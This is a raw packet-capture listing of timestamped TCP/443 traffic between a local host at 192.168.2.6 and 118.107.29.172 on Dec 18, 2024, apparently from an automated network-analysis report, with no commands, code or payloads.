Dec 18, 2024 13:35:54.632565022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.726361990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.726387024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.726448059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.726473093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.726490021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.726521015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.759628057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.759651899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.759706020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.759728909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.759744883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.759771109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.761874914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.761894941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.761944056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.761954069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.761970997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.761990070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.764775991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.764797926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.764842033 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.764851093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.764868975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.764893055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.767610073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.767630100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.767678976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.767688990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.767715931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.767725945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.770004988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.770025969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.770060062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.770071983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.770101070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.770118952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.785480976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.785502911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.785609961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.785628080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.785665035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.824373960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.824398041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.824489117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.824513912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.824558973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.919162989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.919189930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.919248104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.919285059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.919303894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.919612885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.951628923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.951704025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.951735020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.951756001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.951772928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.951795101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.954118967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.954164028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.954201937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.954207897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.954248905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.956907034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.956950903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.956999063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.957005978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.957020044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.957923889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.960263968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.960306883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.960350037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.960357904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.960400105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.962599039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.962641001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.962662935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.962673903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.962719917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.977256060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.977307081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.977356911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.977375984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:54.977410078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:54.977438927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.016705990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.016735077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.016789913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.016822100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.016836882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.016864061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.112032890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.112087965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.112128973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.112168074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.112184048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.112215042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.143758059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.143806934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.143834114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.143865108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.143898010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.143915892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.146277905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.146298885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.146342039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.146351099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.146379948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.146399021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.149359941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.149377108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.149441957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.149450064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.149508953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.149528027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.151830912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.151849031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.151904106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.151912928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.151961088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.154571056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.154587030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.154644966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.154654980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.154695034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.171885967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.171906948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.171952963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.171988964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.172003984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.172044039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.209033012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.209090948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.209125996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.209165096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.209177971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.209203959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.302822113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.302854061 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.302906036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.302946091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.302964926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.302993059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.335803986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.335843086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.335907936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.335953951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.335969925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.335999012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.338820934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.338852882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.338896036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.338902950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.338928938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.338949919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.341384888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.341411114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.341451883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.341459990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.341492891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.341512918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.343911886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.343939066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.343971968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.343986988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.344010115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.344027042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.347318888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.347352028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.347418070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.347433090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.347476959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.364499092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.364530087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.364576101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.364633083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.364653111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.364674091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.400690079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.400717974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.400778055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.400823116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.400851011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.400866985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.494846106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.494874001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.494929075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.494971991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.494987011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.495012999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.527965069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.527983904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.528031111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.528053045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.528078079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.528094053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.531214952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.531232119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.531270027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.531276941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.531307936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.531320095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.533817053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.533833981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.533871889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.533879995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.533910036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.533927917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.536354065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.536371946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.536432981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.536439896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.536478996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.539652109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.539668083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.539760113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.539767981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.539804935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.556426048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.556452036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.556498051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.556514978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.556550980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.556564093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.593255997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.593281984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.593332052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.593374968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.593390942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.593431950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.687637091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.687661886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.687712908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.687726974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.687752962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.687776089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.720499039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.720525026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.720578909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.720592022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.720616102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.720628023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.723192930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.723212004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.723258972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.723264933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.723330021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.726206064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.726228952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.726270914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.726277113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.726319075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.726325989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.728799105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.728821993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.728908062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.728914976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.728954077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.731482983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.731506109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.731544018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.731549978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.731592894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.748882055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.748903990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.748944044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.748961926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.748989105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.749008894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.785623074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.785646915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.785690069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.785701036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.785734892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.785800934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.879713058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.879740953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.879815102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.879856110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.879873991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.879889011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.912691116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.912718058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.912776947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.912807941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.912854910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.912890911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.915678024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.915697098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.915736914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.915744066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.915771008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.915786028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.918231964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.918251991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.918296099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.918313026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.918334007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.918354034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.920797110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.920814991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.920866013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.920878887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.920914888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.924268961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.924287081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.924326897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.924336910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.924374104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.924391985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.941438913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.941462994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.941503048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.941515923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.941538095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.941556931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.978147984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.978168011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.978204966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.978218079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:55.978246927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:55.978267908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.072252035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.072279930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.072340012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.072362900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.072387934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.072436094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.104927063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.104954004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.105035067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.105082035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.105102062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.105295897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.107836962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.107863903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.107907057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:56.107923031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:56.107947111 CET	49728	443	192.168.2.6	118.107.29.172
